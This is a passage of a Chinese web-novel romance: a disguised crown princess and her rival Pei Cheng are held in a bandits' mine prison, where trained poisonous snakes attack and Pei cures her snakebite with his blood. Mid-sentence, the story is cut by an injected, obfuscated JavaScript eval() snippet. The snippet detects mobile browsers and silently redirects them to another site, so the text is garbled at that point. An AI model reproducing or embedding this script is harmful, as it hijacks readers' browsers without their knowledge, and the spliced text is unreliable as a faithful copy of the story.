好在这些反民人手不足,巡逻的人也并不称职,三两个扛着木棍在角落里斗蛐蛐打叶子牌,玩得火热。 李相筠与孙小郎君小心避开他们,一路有惊无险。 竹竿吱呀吱呀响,头顶上走过两个巡逻的人。 “你有没有觉得刚那郎君像某个人……” “哪个郎君?” “就那个高,长的特别俊,但笑起来有点渗人的那个……” “像谁?” “像裴家那个杀器啊!你都不记得吗,咱两被裴家抓去的时候见到的……那双红眼睛,那一地的血……我现在光想,后背都是冷汗,太可怕了!刚刚他好像瞥了我一眼,我腿肚子都在打抖!你说,他该不是认出我们了?” “不、不会吧,如果是那人,又怎么会这么轻而易举被我们抓住?你、你别自己吓自己了……” “说得也是啊……那我们还去二层巡吗?” “……不去了吧,反正他们都在打牌,也没有人知道我们偷懒……” 两人达成一致,转头又原路返回。 去时明显比来时脚步快上许多,有些落荒而逃的紧迫感。 孙小郎君松了口气,指了个方向小声道: “我兄长在这边。” 李相筠想了想,道:“一刻钟后若无意外,我们在出口见。” 孙小郎家“啊”了声,“你不跟我一起?” “哦,刚听见认识的人可能也被抓了,我去瞧瞧。” 裴承居然虎落平阳被犬欺,那她可要去看个热闹。 / 这个矿洞原先被赤乌流寇占据过,改建出许多牢房。 现在正好又被山匪用上,关了好些男男女女在里边,不过奇怪的是,他们见到人经过,也不会出声呼救,木讷地像是泥塑的人一样。 李相筠本来还想悄悄向他们打听点情况,但无人理会她,看样子是山匪用了药把他们弄得痴傻,好控制。 刚刚两巡逻的专门避开二层。 裴承定然就在二层。 李相筠把匕.首贴着手心,顺手解决了两个认真看哨的,又把他们的布帽和狗皮外套穿在自己身上,再抗起一长棍,如果不是在光亮下看,她就跟巡逻的山匪没两样。 就这般溜达了会,她隔着铁栅栏看见侧身坐在阴影处的裴承。 她以为裴承会像其他人一样没有反应,没想到她还没抬手敲栅栏,裴承就把头扭过来。 李相筠竖起一只手掌,摇了摇,“哎呀,这不是裴执玉吗?怎么上山救人不成反而成为笼中鸟了?” “七郎好雅兴。” 裴承起身走上前,微微俯身,看清他戏谑的神情, “为看一场戏,跑了这么远的路。” “好戏不常有,怎能错过?”李相筠笑了下,仰首打量裴承,问:“那些人怎么没给你下药?” “七郎来的时候看见郡主了吗?” “没有,但是我听路上看守的说,郡主和关娘子都是贵客,他们都轻易见不着,应该比你这儿舒服。”李相筠往左右张望,问:“飞星飞雨不是和你一起被抓的吗?他们人呢?” 这时,一道白色的闪电倏然从栅栏空隙里穿过,“吱!——” 李相筠低头:“小飞?” 铁栅门忽然打开,一只手竟从里面伸出来,抓住了她。 “你……”转眼间,李相筠就被扯进牢笼,速度快得李相筠话都没说完。 轻轻哐当声,裴承合上门。 又把她一路挟到他刚刚坐的床上,好在这床足够大,就是石头板堆出来,上面铺了些稻草。 两人面对面坐,裴承的正好把她挡在阴影的角落里。 李相筠瞪大双眼,“门没锁?门没锁你还……” 裴承的手压住她的唇,低声:“别出声。” 李相筠竖起耳朵。 有人来了。 原来刚刚小飞是在给裴承示警。 不过,有这个时间足够她俩一起跑了,完全没有必要把她也抓进来啊! 李相筠狠狠揪住裴承的手背,让他放手。 “就在这里了,您瞧——” 一道谄媚的声音响起,尤为尖细,让李相筠想起宫里的内宦,一样让人讨厌。 可没想到,另一道声音才真的是让她眉头紧锁。 “他可是长安来的大官,连个看守都不用吗?” “哟,瞧您说的,我们办事靠谱呢,他啊早吸入了我们特制的黄粱香,保准迷糊不知事,即便是开着门——欸,这门怎么真没锁啊。”谄媚的语调一变,露出紧张滑稽的腔调,他连忙补救道:“嘿嘿嘿……肯定是那些混球给忘记了,现在锁上啦——” 锁孔对准后,“咔嚓”一声,清晰入耳。 李相筠咬住后牙槽,狠狠倒抽口凉气。 耐心等到外面的动静消失,李相筠才猛地伸脚一踹,“裴承,我好心来救你,你恩将仇报!” 裴承按住他的腿,又抓住他挥过来的拳头,从容不迫道:“七郎是来看乐子的,但独乐乐不如众乐乐,何不进来一起乐?” 36.想咬 这哪能乐得起来! 李相筠气得牙痒痒,“我是进来救人的,不是来坐大牢的!” 裴承放开他的手脚,却不管他的抱怨,“那道声音,七郎没有听出来是谁么?” 李相筠一拳头打在棉花上,兀自憋屈了一阵,才不情不愿把话题转到正事上,“是关侍郎。” “没错。” “他是为关娘子上山。” “是,或许也不是。”裴承道:“领路的对他很是恭敬,他的官职可还没我大。” 若这些山匪想要找个当官的兜底,找他这个大理寺卿岂不是更好。 “或许是因为关侍郎从前收过药材,与他们有过往来……”李相筠顿了下,又道:“他们可能早就认识。” “我刚得到的消息,羊集县还有赤乌流寇的残部,说不定就在这些山匪里面。”裴承边说,边观察李相筠,想知道他是否知情。 卫家究竟是在为他办事,还是别有目的。 李相筠一惊,随后就低头沉吟。 在梁家堡出事之前,裴承刚说到赤乌流寇,既然宫里都能有赤乌流寇渗透的人,那么大黎其他地方更不知道还有多少。 这个认知远比她能够想到的还有可怕。 她的身边,圣人的身边,又或者当初太子的身边,会不会也有赤乌流寇的人? “关娘子、关侍郎眼下都在这里,他们两个必然有一个与赤乌流寇关系匪浅……”李相筠蹙了下眉,马上又否认自己的想法,“关家的确是被赤乌流寇血洗,这一点羊集县里的人都可以作证,什么人会与自己的杀父仇人共处共事。” “若还有用处,未尝不可。”裴承轻笑了下。 李相筠看裴承一眼。 她还记得金宝查出裴承的身世,父不详。 裴承是私生子,他见过自己的父亲吗? 兴许都没有见过,才能说出这样没感情的话来。 李相筠不认同地哼了声。 “若无能力,当然也不可轻举妄动。”裴承意味深长道:“相安无事,也不是坏事。” 对于这一点,李相筠其实比谁都清楚。 她用两年时间积攒力量,一年前开始为复仇而血洗长安,然而她所能够撼动的、杀掉的,其实无足轻重,那些或是听命行事的小喽啰,或是替罪羔羊,就好像前不久她刚杀掉的吕山。 她怀疑汪正阳,也怀疑裴承,但是却没有直接的线索与证据,更没有足够的力量撼动,这才不得已维系表面的“相安无事”。 现在又多了个赤乌流寇。 正元十二年,皇兄提议彻底铲除赤乌流寇,命卫家、曹家等武勋世家率军,前往各地剿匪,因为指挥得当,当年捷报不断。 为此太子名誉双收,外边都在传他有辉宗之才,安宗之勇,是大黎之幸。 李相筠的思绪跳得很快,忽然又问:“梁氏商会和梁家堡有关系吗?” 好在裴承也是个脑子转的快的人,不假思索就答道:“应是有些关系,梁家能有这样的能力建造堡坞,光靠卖药可不行。” 李相筠盘腿而坐。 “他们特意领着关侍郎过来看你,关侍郎也没有掩饰自己的声音。看来他们之间可能达成了某种协议,无论是事成之后杀你,还是留你,都让关侍郎再无退路,你到底在计划什么?难不成真的要我在这里蹲大牢?” “说到‘杀我’时那般平静,说到自己蹲大牢时却急了,七郎真是铁石心肠。” 李相筠理直气壮,“不然呢,我们是朋友吗?” 自然不是。 裴承唇角微勾,道:“七郎还是养养精神吧,晚些说不定还有一场恶战。” 李相筠没想到裴承这个时候居然劝她休息,这哪是休息的地方,更何况她理不清这些头绪,脑袋都快炸了。 她坐直身,无知无觉啃咬着食指指关节,沉思起来。 裴承看着她的小动作,问:“七郎很焦虑?” 李相筠松开嘴,“啊”了声,低头看见自己的指节上已经有齿痕,她用拇指揉了揉,蹙眉道:“没有。” 坏毛病总是很难改掉,皇兄说这个动作让她看起来像个小女郎,总算有点娇俏的样子。 原本也不是一件坏事,毕竟她从小被当做郎君养,难得能有一点像个女郎的地方。 但自从皇兄去后,她就决定要坐稳东宫,绝不能露出破绽。 “我认识一个人,她害怕的时候也会这样。” 李相筠乜他一眼,奇怪道:“听你这语气,是你朋友?” “听七郎的语气,似乎觉得我是没有朋友的人?” 不等李相筠回答,裴承自己又道:“不过她的确不算是我朋友,既不知道姓名,也不知道长相,甚至连生死都不知道。” “不知生死?” 裴承道:“我倒是宁可她死了。” “……” 李相筠道:“我信你,不是朋友的话了。” 裴承偏头看他,笑了笑,“活着未必比死了好,至少死人再无烦恼。” 李相筠道:“但是喜欢自寻烦恼的人总是更多。” 这一点裴承也没有反对,而是微笑道:“不错。” 李相筠抱膝坐到石板床的一角,蹙眉继续思索。 那些理不清的头绪在脑袋里疯狂碰撞。 ——“……真不知道那么多桂花水她都用到哪里去了?” ——“关侍郎还没娶妻?” ——“裴少保以为少的是什么?” ——“鄙妹有头疾,记性不大好。” ——“石心砚掌柜与兄长相识……” ——“死者与其妻为行骗,平日里只以兄妹相称……” ——“有桂花的味道……” ——“梁掌柜,我们看了这画,是不是会被鬼杀掉啊?” ——“关侍郎和关娘子长得不像……” 李相筠揉了揉太阳穴,闭上眼睛道:“先是关娘子用画标出赤乌流寇的标志,而后买画者离奇中毒死亡,知情的关娘子中天星草毒导致失忆,马球赛世子摔马受伤,而后在研究天星草毒的郡主远在清心观的师父们也死了……关侍郎一定有问题!” “不错,但是他究竟是那一边的?”裴承靠着石壁,闭上眼睛。 李相筠长长呼出口气,想不通。 也不知道,郡主和关娘子怎样了。 / 李竹芸先醒,扶起还昏沉的脑袋,打量四周。 地方不大,一览无遗。 两边都是未经打磨的石墙,遍地灰尘,印满凌乱的脚印,唯一看起来舒服的是她和关娘子躺的这张实木雕花床,以及床边上带有抽斗的深木柜子。 中间还有一张方桌,唯一的光线来自桌面上的油灯。 洞口没有门,只挂着遮光的毡帘,但挡不住外边看守人小声交谈的声音。 李竹芸匆匆环视一圈,马上去搭旁边关娘子的脉搏。 关娘子本就身体不好,且刚服用过她熬煮的药就经历这一番大变故,还不知道会对她造成什么影响。 本来,她也劝说关娘子改日再去拜访梁家人,但关娘子想念亲人心切。 她便提议一起去,若有什么不妥的地方,她可以随时为她施针。 不想才到梁家堡不久就遭遇袭击,她的药箱都不知道丢哪。 李竹芸将油灯取来,取下一只耳环,把银制的勾环掰直,再放在火上烧了会,才在关娘子百会穴上扎下。 关娘子眼皮不安地翻动,人还没清醒,呓语不断,不知道在挣扎说着什么。 李竹芸连忙唤她,“关娘子快醒醒……” 门口布帘忽然一掀,几人大步走进来,李竹芸惊缩到角落,一只手还不忘拉住关娘子。 一道熟悉的身影映入眼帘,她又惊又喜:“关侍郎?” 关侍郎没看她一眼,只走到床边扶起关娘子,着急怜惜道:“欣儿,欣儿你醒醒。” 关娘子总算眼皮动了动,睁开眼,她瞥了眼面前的人,就用力抽手挣扎,状若癫狂。 关侍郎只能握紧她的双臂,焦急道:“你看看阿兄,是阿兄!” 关娘子勉强定睛看了眼,先是轻轻摇了摇头,而后眉心紧蹙,苍白的唇瓣不住颤动,再用力摇了摇头,腿疯狂蹬着床板,努力把自己往后缩。 “不——不——” 她用力摇头,眼眶里满是泪水。 惊恐、彷徨、无措,复杂的情绪在她的眼底如漩涡般纠缠,无法理清。 “欣儿?……”关侍郎弯着腰,手虚伸往前,却没有再触碰她的身子,他眼睛颤了颤,声音涩然,“怎么了,不认识阿兄了吗?” “啊——” 关欣用力捂着嘴,凄厉的哭嘶依然藏不住,让人肝胆俱颤。 关侍郎慢慢站直身。 目光从关切担忧,变得深沉而阴鸷。 / “七郎,醒醒。” 李相筠忽地睁开眼,后背汗津津的,心口一阵猛跳,还在为梦中那些光怪陆离的画面而心惊胆战,等看清楚自己还在铜矿牢房里,才逐渐平息急促的呼吸,不由喃喃道:“我是睡着了?……” 正说着话,手里好像捏着什么沉甸甸还带点弹性的东西,她拿起来一看,发现居然是裴承的胳膊,嫌恶一甩,对旁边人怒道:“你怎么离我这般近!” 两人身子几乎是贴着,未免靠太近了。 裴承从她面前抬起另一只手,指向一方向。 李相筠莫名其妙跟着扭头看去。 那边角落里空空荡荡,什么东西也没有。 “看什么?” 裴承温声提醒:“还记得吗?七郎刚刚坐在那边。” 李相筠:“……” 她睡着以后,又自己挪位置了?! “我对别人不这样,所以不是我的问题,而是你的问题。”李相筠撑臂挪开距离,两只眼睛炯炯瞪着裴承,就好像对方是洪水猛兽般的怪物防备。 裴承道:“可别人也不会对我这样,唯有七郎会如此,难道还不能证明我与别人都没有问题。” 李相筠一时无言以对。 裴承主动转开话题,“七郎刚刚梦见什么了?” 梦? 李相筠摸了下脸,指尖触到还未干的湿痕,她低头看自己的膝头,蹙起眉。 她梦见一个少年。 昏暗中,看不清他的脸,只能看见大致的轮廓,应该年岁不大。 他们似乎是在一间不大的石室里,因为他沉重的呼吸和水滴声不断撞到了石壁,回荡在她的耳畔。 滴答滴答—— 血腥味不断蔓延。 “我就说,你逃不掉的……” “明明是我逃跑,为什么他们只打你……为什么?为什么你不逃,难道你就宁可日复一日,年复一年被他们这样折磨吗?” “逃,逃出去做什么?” “做你想做的事,过你想过的生活。” “我……没有想做的事……也没有想过的生活。“ “怎么会……没有?” 少年缓缓睁开眼,黑暗中,那双眼睛幽红如兽,“爱我的,我爱的都死了,我什么也不想要,死亡才是我的归宿,来——杀了我。” “我怎么能……” 少年的眼睛由暗转亮,那红色犹如熊熊燃烧的火焰,挑起混乱的战意,“可你不是已经拿着刀了吗?” “我……”手里的匕首抵在少年胸膛上。 手不断颤抖,刀尖怎么也对不准位置,他的心脏跳得好剧烈,仿佛迫不及待撞上她的刀尖,她没有办法—— 两只血淋淋的手,包裹住她的手,连带着那把匕首。 少年古怪地笑道:“杀、杀了我,趁大乱逃跑,是个好主意。” “你、你知道……你知道还……还不杀了我?” “哭什么,你们长安人胆儿那么小,杀啊,用点力,抖什么,这是我的血,不是你的,唔——就这样,再深一点……别哭了……” 李相筠又揉了两下,眼睛都给她擦得发红。 这是梦吗? 还是她曾经真的经历过的事情? 裴承看太子在擦眼泪,问:“伤心事?” 李相筠又胡乱抹了两下脸,才道:“既知是伤心事,裴少保还问?指望我说出来让你高兴高兴?” “我只是听人说,伤心事说出来或许会舒服点。” “是吗?不然你先说个伤心事给我听听,看看你会不会舒服点?” 裴承道:“现在没有,不过待会若七郎不小心被蛰了或者咬了,那我兴许以后便多了个伤心事。” “什么意思?”李相筠又竖起耳朵,“那是什么声音?笛声……” 音调短促尖锐,像是号令。 簌簌、簌簌、簌簌。 奇怪的声音,像是有什么东西爬过来。 李相筠膝行两步,趴在石板床前往下一看,头皮发麻,倏地往后退,直到背贴石壁,才惊道:“好多虫!这些是有人控制的?!” 裴承手还搭在膝盖上,坐着没有动,就好整以暇地看着李相筠满床打转,一会扫掉床上稻草,一会又伸手想去够挂墙壁上的火把。 “南巫寨毁掉之后,许多蛊师四散而逃,裴家还没能把他们全部抓住,我想,这些应该就是南巫寨当年培养出的虫蛇。” 李相筠拿不到火把,回头问他,“所以有毒吗?” 裴承道:“有,剧毒,寻常人经不住五口就要下黄泉。” 李相筠倒抽了口凉气,“那你还坐得住!……不对,我听说你也是南巫寨出来的,那么多年都没有被毒死,是不是有什么解毒的药?” “七郎查过我的事?” 李相筠揪住他的领口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172979|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“给我解药!” 裴承道:“你觉得我身上会带有那种东西吗?还有,你身后有条金环绿腰蛇,再不躲,咬你了。” 李相筠听见有蛇,脸色发白,一动不敢动。 耳畔忽起风声,就好像是蛇弹跳而起,朝她袭来,李相筠吓得魂飞魄散,哪管面前的是她死对头,埋头钻进去。 “裴承!” 裴承胸口猛地被头锤重砸,腰间也被两只手紧紧箍住,李相筠毛茸茸的发顶蹭到他的下巴,把他的脑袋,硬生生挤得抬起。 心脏错跳了一拍,奇异的感觉从心底涌起,让他忘记推开,甚至忘记呼吸。 可还没等他理清楚纷乱的思绪,下一刻,李相筠又从他怀里抬起头,慢慢扭回去。 蛇没有咬住目标,眼下盘踞在李相筠腿边立起头,嘶嘶吐着猩红的信子。 “七郎?” 李相筠把手滑下,摸到腿上绑着的匕首,“唰”得下抽出雪刃,手起刀落,金环绿腰蛇断成了两截。 裴承的心猛颤了下。 不是因为蛇死的惨烈,而是因为李相筠的动作是那么果断狠厉。 他总于明白为什么自己的视线难以离开他,因为李相筠很有意思。 他是个矛盾体,有时候好像很怕死,有时候却好像很想快点去死。 腥血四溅,虫蛇皆疯狂起来。 李相筠见状把裴承往里面一推,“别碍事!” 一条蛇的方向是冲着裴承的,李相筠余光瞥见,下意识就抬手挥刀,哪知那蛇竟转了方向,闪电般张嘴咬住她的手背。 李相筠立刻把手往岩壁上一甩,把蛇重重砸上去,撞得那蛇头破血流,软软滑了下来。 可也迟了,她手背上出现两个小小的血窟窿,还在往外冒着血。 裴承搁在膝盖上的手指蜷缩了下,“七郎不是巴不得我去死,为什么还要救我?” 李相筠皱着眉头,道:“少往自己脸上贴金了,我只不过是顺手而已,才不是特意要救你!” 裴承又低头看,“手这样抖,怎么握得紧刀?怕蛇?” “这可是毒蛇!”李相筠咬牙道,把他又往后一推,皱眉喝道:“帮不上忙就别碍手碍脚。” 裴承被李相筠一凶,真老实地把背紧贴在了岩壁上。 小太子摆了个后脑勺给他,好像连翘起来的每一根发丝都透着倔强。 他不禁想起,飞雨查到的、高勇酒后吐露的,那些太子的事。 “家主,太子身边的朋友并不多,大部分都是酒桌上的酒肉之友,能谈得上深交的没几个,他连近身伺候都人都不要,过得哪像是个太子。” “太子的亲信?邓谦虽然一直跟在他身边,但据我所知,很多事情,太子宁可交给执金卫下边的执影卫去办,我还听说,有时候太子会自己去。殿下是个要强的人,我还没见过他害怕畏缩的样子呢!该怎么形容?……就好像,就好像个莽撞的牛犊子!他是太子啊,一人之下万人之上,为什么要这样呢?” 是啊,为什么要这样? 他好不容易拿到储君之位,难道不该享受权利带来的便利和风光,不该前拥后簇,使奴唤婢。 裴承扯住李相筠胳膊,去看他手背上的伤口,“蛇毒通过血液,很快就会流到全身,到时候殿下会动弹不得,彻底沦为它们的食物。” 李相筠甩开他的手,“那就更不能坐以待毙了。” “殿下没有问过我,有没有办法。” “你有办法……?”李相筠正说着,手里的匕首哐当掉到了石板上,她的手颤抖着,已经拿不稳武器。 糟了,是蛇毒。 比她想象中发作还要快。 “裴、裴承,拿信号弹。”话没说完,她人已朝下倒去。 完蛋,完全没有力气撑着,她该不会把自己鼻子砸断吧? 好在一只手及时扶住她,又让她轻靠到墙壁上。 “裴、裴承……” “你中毒了,若没有解药,很快就会死。” 李相筠眼睫低垂,呼吸越发艰难,导致她胸腔起伏更加频繁。 “已经说不出话来了?”裴承抬起太子的下巴,检查他是不是昏过去了。 李相筠缓了缓呼吸,努力睁开眼,“它们、它们为什么不袭击你?” “你不是查过我的事吗?在南巫寨多的是这些毒物,它们在我眼中就和殿下养的大鹅一样温顺。” 李相筠瞪圆眼睛,争辩:“鹅比它们可爱!” “身子都麻痹了,人还这么有精神。”裴承都想笑了,“殿下还真是乐观。” 李相筠用尽力气呼吸,连声音都变得很轻:“我……又不是非要活着不可。” 能活就活,活不了就死。 她从畏惧死亡到无所畏惧,只因为在另一端有皇兄在。 有皇兄在的地方,她一点也不会害怕,甚至……还有些向往。 毕竟活着才是最累的,死是一种解脱。 就像“梦”中那少年说的,死才是“我”的归宿。 每个人都会死,死亡才是人唯一仅有且不会被剥夺的归宿。 李相筠眼皮直往下垂,很快就连尽在眼前的裴承都有些看不清楚了。 他好像被拓印出十几个相同的影子,在她眼前摇晃,甚至她还看见裴承的眼睛变得幽红,就好像……两颗被灿阳照亮的红宝石。 “普通人对蛇毒的耐性就到这了。” 李相筠眉间紧皱,却没有搭理他,不知不觉已经昏厥过去。 裴承揉了揉食指,抵在下颌尖牙上用力一压,食指上顷刻冒出一颗浑圆鲜艳的血珠。 “也不知道你能不能受得住这解药……不过受不住也得受,我身上可没有别的解药了……” 说给一个昏迷的人听,其实就没有打算听人的意见。 话音刚落,裴承用食指抵开李相筠微合的唇瓣,因为主人的昏厥,齿关也形同虚设,轻易被破开,食指上的血蹭到唇瓣上,顷刻染红唇肉,仿佛抹上一层艳丽的胭脂。 “唔……” 柔软温热的舌忽地抬起,抵住他的手指,不让他再往里面推进。 但舌头这样的软肉是如此没有攻击性,即便用足力气,对入侵者而言毫无威胁性,甚至…… 还有点怪。 就好像被舔了一下。 裴承一只手卡住李相筠的下巴抬起,因而目光自然而然落在那张脸上。 浓密的睫毛不安地颤动,鼻息也变得急促,而那两瓣唇正挤压着,想把他的手指吐出去。 又软又湿。 他的手指好痒。 莫非因为克制蛊虫的药吃得太多,如今反噬回来变得荒唐。 这事不能想,越想越口干舌燥。 他重新卡主李相筠的下颌,拇指重重擦过两片沾了血压的唇瓣。 怎么办,好想咬。 37.高悬 他想咬。 他想狠狠地咬上去,他没有做过,可是被挑起火的那瞬间,他就自然而然有了想法。 仿佛就是天性。 天生就知道应该怎么去让自己解渴,知道用什么解渴。 这很奇怪,人与人之间的生.殖吸引难道不是为了繁衍,倘若不是为了繁衍,这股冲动是为了什么? 感情? 又一个陌生的词从记忆深处浮起来。 教他读书写字的老师对此讳莫如深,把书本上提到的情情.爱爱当做洪水猛兽。 “孩子,千万不要碰感情,那是穿肠毒。” “可我百毒不侵。” “这世上根本没有百毒不侵,天地万物相生相克,既有生你的,便也有克你的!” 他觉得此言有谬。 倘若南巫寨历经数代人,几十年呕心沥血地尝试、炼制,只为一枚存有天大破绽的蛊虫,那岂不是可笑? 可他对李相筠能有什么感情? 他连“感情”是什么都没有弄懂。 李相宇把他从南巫寨带出来,让他去见识各种人情世故,告诉他一个完全相反的说法。 他说,人之所以为人,是因为人有情感,是父母爱子,是子敬尊长,是朋友互助,是兄弟姐妹相亲相护,是心上人相知相爱。 若没有情感,人就如一块石头,一片叶子,要不永远沉寂,要不随风凋零。 从南巫寨昏暗的虫洞出来,他有很长一段时间都难以适应外边阳光的明亮,也难以适应与人亲近的来往。 所以他观察李相宇。 虽然不能够理解,但好在他会学习模仿。 其实不懂也没有关系,反正他不是真的需要。 他没有父母,没有兄弟亲人,没有朋友,也没有心上人。 但他也见识到形形色色陷于感情当中,将自己弄成一团糟的人。 他想,老师说的是对的。 人不应该被情感牵绊。 李相宇也不应该被情感牵绊,而让自己一败涂地。 有前车之鉴,裴承更为警惕。 但情感没能左右他,身体先背叛他。 好痛。 强烈的肿.胀感让他脑袋都不能思考了。 他是不是应该,把会影响自己的祸患先掐灭—— 毕竟,李相筠无关紧要不是吗? 他并不是圣人,也不想当权臣,也没有想过大黎要风调雨顺,少一个太子而已,圣人自己都不心疼自己的儿子,用不着外人来替他心疼。 掐在李相筠下颌的手慢慢移下,直到握紧那脖颈。 李相筠的脖颈纤细柔弱,完全不堪一击。 可他没能用上力,颈侧的脉搏在他掌心跳动,让他不知不觉顿住,感受那生命力,一点一点,有序地、努力地跳动。 他想起李相筠在他面前拔箭的那一幕。 那枚带血的箭簇掉在他脚前,红的刺眼。 他忽然又不舍得这样掐死他了。 就这一分神的空隙里,李相筠缓缓睁开眼,醒了。 “嗯……” 裴承下意识想挡身.下,但李相筠忽然就伸手揪住他的腰带,让他的手迅速回防。 “李相筠。”裴承握住他两只手。 手背好凉,像是一块冻玉。 这山洞里没有炭火,夜深后温度一直在降,李相筠一直都很怕冷,烧三大盆炭都不嫌多。 虽然被握住,李相筠没有放弃,靠近裴承喃喃道:“给我……” 裴承脑子忽然转不过弯,心脏剧烈跳动起来,慢半拍才从牙缝里挤出几个字,“……你说什么?” 李相筠用力甩他的手,未果,又甩了一次。 裴承微松开手,李相筠终于把他的手甩开,而后继续解腰带,带鞓从腰后一抽,一甩,啪嗒掉进石床下的虫堆里。 几条蛇险些被皮革带砸到脑袋,咻得下躲开,竖起脑袋不停嘶嘶吐着舌头。 小飞跃在床沿,脚板底下还踩着一只软趴趴的死蛇,它龇牙威慑,毒虫与毒蛇便不敢前进冒犯。 裴承再次抓住李相筠的手。 李相筠皱着眉,眼中升起一层薄薄水雾,视线都迷离了,冻得发白的唇瓣一张,道:“给我……” “你……” 太子身上的毒应是解了,可他现在的举动令裴承费解。 难道李相筠与自己一样,是“身不由己”? 裴承目光才往他身下一晃,就蓦然打住,只停在李相筠的腹上那一块,没有继续往下看。 他在想什么? 他怎么能这样想? 若是从前,他要是知道有男人胆敢用那样龌龊的心思看自己,只会恶心透顶,反手把他毒死,再丢去喂毒虫,绝不会再看第二眼。 哪还会去确认他有什么反应? 丢掉躞蹀带,李相筠两只手从衣襟处下手,捏住往两边一扯,就跟剥角黍①般自然而迅速。 裴承自个脱.衣都没有这般豪爽,李相筠这动作也未免太熟练了! 他是剥过几个人了? 裴承再次握住那只冰冷的手,“李相筠,你知道你在干什么吗?” 李相筠忽然变得冷酷,“少废话,放手。” 裴承的手紧了下,又稍松。 倘若李相筠真的起了那种心思,要行不轨之事,他再掐死也不迟…… 李相筠扯住他的袖子往外抽,因为力气大,故而没有什么东西脱不下来,没多久,裴承的外衣就被剥掉。 李相筠拿着刚剥下来的外衣用力抖了下,然后裹在自己身上。 裴承:“……?” 裹好衣,李相筠团了团石板上仅剩的稻草,蜷身躺下,重新闭上眼睛,没过片刻,均匀绵长的呼吸声响起。 裴承:“?” 人在无语的时候真的会笑,裴承便这样盯着李相筠,扯起唇角,无声无息,古怪阴森地笑了许久。 “家主?” 铁杆轻响,牢笼外站了两人,赫然是飞星与飞雨,他们也像李相筠般带着狗皮帽,披着狗皮披风,成功打入山匪堆里,方便行事。 飞星把脸往栏杆里面挤,“家主身边是什么人啊?是郡主吗?” 飞雨用棍子敲他的头,“别犯蠢,郡主我们不是刚刚才看过!” “那是……小太子?” 飞星两颗眼珠都快滚进牢房里,一颗熊熊燃起的好奇心让他亢奋起来,嘴巴闲不住:“他怎么在这,难道是说,也是被抓进来的?家主家主,你们俩怎么会关一个地?还有这地上的毒虫,果然是那些家伙来了吧,我就说听见那难听拉脖子的笛声肯定是蛊师,飞雨还硬是说没听见,年纪不大,耳朵就聋掉了,这以后还怎么活啊!” 飞雨头都大了,忍不住用棍子狠狠敲了下飞星,“闭嘴。” 飞星委屈地“哦”了声,没片刻,他又等不及问:“家主,还走吗?” 他们的计划本就是等摸清山匪们的底细后,再行动,没料到会出现小太子这个变故。 倘若要带着小太子,行事多有不便。 “自是要走。” 裴承放脚下地,地上的毒虫毒蛇齐刷刷往后游走,竟像是更怕这个人。 飞星见状,又惋惜道:“家主一走,小太子岂不是要成为这些毒虫的腹中餐?” “小飞留在这里。” 小飞委屈巴巴地“吱”了声,在床沿跑了几个来回,企图挽回主人的心。 裴承回过头。 李相筠还牢牢裹着他的衣,睡得不省人事。 / 李相筠是被热醒的。 身上虽然只有狗皮披风脖子,但委实有些太热了,而且脖子上这毛茸茸的,热烘烘的又是什么? 李相筠抓下来一看,一长条毛绒小兽在她手心软软地垂下脑袋和脚。 要不是它身体还温暖柔软,还当是死的。 “小飞?” 小飞哼哼唧唧闭着眼抬了下头,吧唧了下嘴,很敷衍地应付了下,没有醒,换一个方向又吊下头。 这德性也不知道像了谁,他主子可不是这样。 说到它主子,对了,裴承呢? 李相筠环视一圈,裴承不见踪迹,地上的毒虫毒蛇也退了大部分,只有几只半死不活地躺在地上,抽搐着。 “这是怎么了……”李相筠从腿下还提出条死蛇,张着嘴,露出两只毒牙,牙尖还隐隐有水光,似是毒液都挤出来,却先一命呜呼。 李相筠还记得睡前最后一件事是被蛇咬。 翻过手背,两个血洞已经愈合。 能留下两个牙印的通常是毒蛇,但是她现在身体没有任何不适,也没有中毒的迹象。 只是身体有种奇怪的燥热,和上一回在大明宫吃坏东西不同,总感觉有什么蠢蠢欲动,想往外涌。 是蛇毒,还是裴承给她的解药缘故? 可是他不是说自己身上没有带,又骗她? 假话精! 裴承这人对她就没有几句真话。 李相筠用帕子将手上的伤口包好,带上睡得东倒西歪的小飞走出监牢。 好在裴承还算有点良心,知道给她留着门,不然靠她那把小刀开锁还要费点功夫。 现在应该是子夜时分,人最困乏疲倦的时候,好在李相筠已经饱睡一觉,精神倒好,就是有些身子骨发僵,回头八成是要病一场。 不过眼下,她哪有时间计较这个,只往路的两侧各看了一眼,琢磨着下一步该去做什么。 救人?显然不实际,那些百姓被下过药,就跟呆子没什么区别,打开门或许都不知道跑。 原路返回? 沉重慌乱的脚步声由远至近,李相筠还没退回牢笼就看见与她分开多时的孙小郎君。 “你怎么还在这?” 孙小郎君见到李相筠来不及高兴,扯住她的手臂就往前跑,“快跑,快跑,他们丧心病狂埋了火药!” “什么?!” 孙小郎气喘吁吁:“我刚刚亲耳听见的,那长安来的官儿和他的亲信在密谋,嘿,没想到啊,那些人伤天害理的事情做多了,来寻仇的人不止我一个。” “官儿?” 孙小郎喘着气,“就、就是那转运使!我还看见他把两个女郎送出去了,对,有一个是他妹妹,你们进镇子那天我全看见了,不过他们兄妹好像吵架了,两个人脸色都很不好。” 关侍郎? 李相筠没想到他忽然来这一手? 他难道和赤乌流寇又不是一伙的? “等等,你不是来救兄长的吗?”李相筠抓住孙小郎话语中的漏洞。 孙小郎默了下,抬袖擦了下眼睛,语气轻快道:“啊,对不起,我骗了你,我兄长三年前就死了……就是这些人,就是这些山匪,他们杀死我兄长,又回到这为害一方,我是来报仇的!” “你报仇?” “我知道,你肯定也觉得我不自量力,但是阿兄是世上对我最好的人,就算豁出去这条命,我也要为他报仇!”孙小郎咬牙道。 李相筠道:“你不是不自量力,而是蠢。” “你说我蠢,那你这个被我这个蠢人骗来的人岂不是更蠢。”孙小郎还抽空扭头做个鬼脸。 李相筠作势要揍他,但是转瞬,她就扯住孙小郎的后衣领,及时闪身藏进旁边的杂货堆后。 两名巡逻山匪打着哈欠经过。 